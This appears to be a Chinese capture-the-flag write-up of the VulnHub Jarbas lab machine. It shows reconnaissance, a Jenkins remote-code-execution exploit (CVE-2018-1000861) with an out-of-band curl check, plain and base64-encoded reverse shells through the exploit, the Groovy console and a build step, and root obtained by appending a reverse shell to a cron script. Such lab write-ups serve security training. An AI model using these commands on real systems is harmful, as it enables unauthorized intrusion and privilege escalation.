0x01 靶机介绍 & 环境配置
0x01-1 靶机基本信息
靶机链接:https://www.vulnhub.com/entry/jarbas-1,232/ 靶机介绍:如果您想继续学习,请尝试使用这台机器!Jarbas 1.0 - 在90年代末向怀旧巴西搜索引擎致敬,目标是获取 root shell!
0x01-2 环境配置
-
下载靶场环境,导入虚拟机(VMware) -
将 Kali Linux 与 JARBAS 靶机都开启 NAT 模式 -
ip a
(完整是ip address
)确定 Kali 网段,之后使用 Nmap 对网段进行主机发现,通过对比 Mac 地址确定 JARBAS 的靶机 IP 地址为192.168.44.131
(后面也有192.168.44.132
的时候)
sudo nmap -sn 192.168.44.0/24
Vmware 默认会一段时间更换靶机的 IP,这里我们在【虚拟网络编辑器】中修改 DHCP 设置,将两个租用时间都改为 63 天即可
0x02 信息搜集
0x02-1 TCP 扫描
进行端口探测,发现靶机开放了22、80、3306、8080端口
sudo nmap --min-rate 10000 -p- 192.168.44.131
0x02-2 UDP 扫描
指定 UDP 协议进行全端口扫描,发现一个新的 33848 端口
sudo nmap -sU --min-rate 10000 -p- 192.168.44.131
0x02-3 服务发现
对之前扫描出的所有开放端口(TCP + UDP)进行服务发现,之前扫描出的 33848 端口应该是误报,这里比较有价值的信息是下面三个端口:
-
3306:使用的是 MariaDB 或者 MYSQL,并且 Nmap 提示可能存在未授权漏洞 -
8080:Jenkins 后台登录页 -
80:CMS 欢迎页,部分功能有阉割
sudo nmap -sT -sV -sC -O -p22,80,3306,8080,33848 192.168.44.131
0x02-4 漏洞脚本扫描
使用 Nmap 自带的漏洞脚本对端口进行重复扫描,这里主要扫描出 SQL 注入、CSRF 两种漏洞,但是对我们获取 root shell 帮助不大,可以将其优先级后置,实在没有突破再来尝试
sudo nmap --script=vuln -p22,80,3306,8080,33848 192.168.44.131
除漏洞外,脚本还在 8080 端口下发现了一个/robots.txt
文件,打开后只有一句 we don't want robots to click "build" links,可能是后续利用的提示,本阶段暂时不清楚有什么用
0x03 渗透测试
0x03-1 MYSQL/MariaDB 服务未授权(3306)
根据关键词对漏洞进行搜索,发现CVE-2012-2122
与此漏洞相关,利用方法是不断的尝试登录连接,会导致MySQL 认为错误的密码是正确的,也就是说只要知道用户名,不断尝试就能够直接登入数据库
并且在 MSF 框架中就有可以直接利用的 POC,这里我们直接msfconsole
启动 MSF 框架进行探测,首先在漏洞库中搜索CVE-2012-2122
search CVE-2012-2122
之后设置目标 IP
use 0set rhost 192.168.44.132
执行 POC 提示无法登录,也就不存在漏洞
直接运行 EXP 同样也是没有成功获取到数据库的权限,这里大概率就是误报了,继续分析下一处脆弱点
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.44.132 ; done
0x03-2 CMS 页面(80)
打开页面如下图,这里大多数功能靶场都已经严格掉了,我们直接进行目录的信息搜集
使用 Gobuster 进行目录扫描,这里我们用 Kali 自带的 Medium 字典直接扫描,并没有什么有价值的结果
gobuster dir -u http://192.168.44.132/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
这里我们观察一下网站的技术栈,使用 Wappalyzer 判断出后端,F12 查看前端使用了 html
这里在 Gobuster 添加-x
参数,指定扫描文件的后缀为 php 和 html,这里就扫描出了一个新的/access.html
gobuster dir -u http://192.168.44.132/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html
访问/access.html
,发现包含着三组登录凭据,但是密码是加密的
这里直接将密码放入 cmd5.com(一般网站可以自动识别出来,用 hash-identifier 识别也可以)进行解密,最终三组凭据如下
tiago:italia99trindade:mariannaeder:vipsu
0x03-3 Jenkins 后台(8080)
Jenkins 是一款自动化构建工具,主要功能是基于Maven 构建后端 Java 项目,通过右下角可知版本号为2.113
,这里我们可用的信息比较多,直接尝试 GetShell,这里有两种方法可以 GetShell
CVE-2018-1000861
使用 BurpSuite 抓包可以发现我们当前的权限是anonymous
用户,但是看不到任务面板,因此推断当前 Jenkins 的设置是ANONYMOUS_READ
禁用的
通过对 Jenkins 的历史漏洞进行检索,我们可以发现一个CVE-2018-1000861
,与anonymous
用户有关,并且我们的 Jenkins 也是低于2.138
版本的
将 Jenkins 综合 EXP下载到本地
git clone https://github.com/orangetw/awesome-jenkins-rce-2019.git
之后尝试进行 RCE,这里先尝试使用 curl 对 OOB(Out of Band) 域名进行请求,查看目标靶机是否可以出网(这里执行 EXP 要使用 Python2,Python3 会报错),可以看到成功接收到了外带请求
python2 exp.py http://192.168.44.132:8080 'curl xxxxx.ceye.io'
验证 EXP 可用后直接进行反弹 Shell,将 Payload 换为以下内容,也就是将交互 Shell 发送到192.168.44.130:9002
python2 exp.py http://192.168.44.132:8080 'sh -i >& /dev/tcp/192.168.44.130/9002 0>&1'
在发送 EXP 前我们在 Kali 上监听9002
端口
nc -lvnp 9002
发送后发现并没有接收到反弹 Shell,经过查询发现 Jenkins 进行命令执行时存在一些转义问题,故我们对 Payload 进行修改,将核心命令进行 Base64 编码,这样就绕过了转义问题
python2 exp.py http://192.168.44.132:8080 'bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NC4xMzAvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}'
这里也就成功接收到了反弹 Shell
Jenkins 未授权
前面我们获得了三组权限,尝试登录后发现第三组凭证可以成功登录
tiago:italia99trindade:mariannaeder:vipsu
这里未授权进入后台之后,也有两个点位可以去进行命令执行,大致路径如下:
-
Manage Jenkins -> Script Console(使用 Groovy script 进行命令执行) -
New Item -> Freestyle project -> Execute shell(直接执行 Shell),这条路线应该是靶机设计的标准路线,与之前 /robots.txt
的提示对应
Manage Jenkins
执行whoami
,这里使用的是 Groovy script 语法,你也可以让 AI 直接生成,可以成功执行
println "Current user: " + System.getProperty("user.name")
调用execute()
方法进行命令执行,这里成功接收到反弹 Shell
["/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.44.130/9002 0>&1"].execute()
New Item
这里可以直接执行 Shell,首先需要创建一个新项目,类型设置为 Freestyle project
之后在 Build 流程中选择 Execute shell
这里直接填入反弹 Shell 命令即可,不用考虑转义问题
/bin/bash -i >& /dev/tcp/192.168.44.130/9002 0>&1
保存项目后点击 Build Now 构建项目,成功接收到反弹 Shell
0x04 权限提升
如果你拿到的是 DUMB Shell(取决于如何 GetShell),有些功能是无法使用的,这里我们使用 Python 将 Shell 提升为交互式 pty,首先探测目标机器上的 Python 版本
python -V
发现 Python 版本为 Python 2.7.5,使用 Python2 进行 Shell 提升
python -c 'import pty; pty.spawn("/bin/bash")'
先使用uname -a
查看内核版本,这里基本可以确定是 Centos7,因为内核版本中包含el7
,再结合之前 Wappalyzer 给出的结果也是 Centos
之后再查看一下目标靶机上的用户,也就是/etc/passwd
文件
cat /etc/passwd
这里经过枚举后发现定时任务(/etc/crontab
)可以利用,目前存在一个定时执行CleaningScript.sh
脚本,每五分钟清除一次 Apache 日志
我们可以直接改写CleaningScript.sh
实现提权,这里我们编写反弹 Shell 的命令并增加到CleaningScript.sh
脚本中,因为定时任务中这个脚本是以 root 权限执行的,所以我们反弹回来的 Shell 也会是 root 权限
nc -lvnp 6666echo "/bin/bash -i >& /dev/tcp/192.168.44.130/6666 0>&1" >> /etc/script/CleaningScript.sh
等待定时任务执行后成功反弹回 root 权限的 Shell
原文始发于微信公众号(天禧信安):【靶场手记】JARBAS:细节决定攻击链,boot2root的重要拼图
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论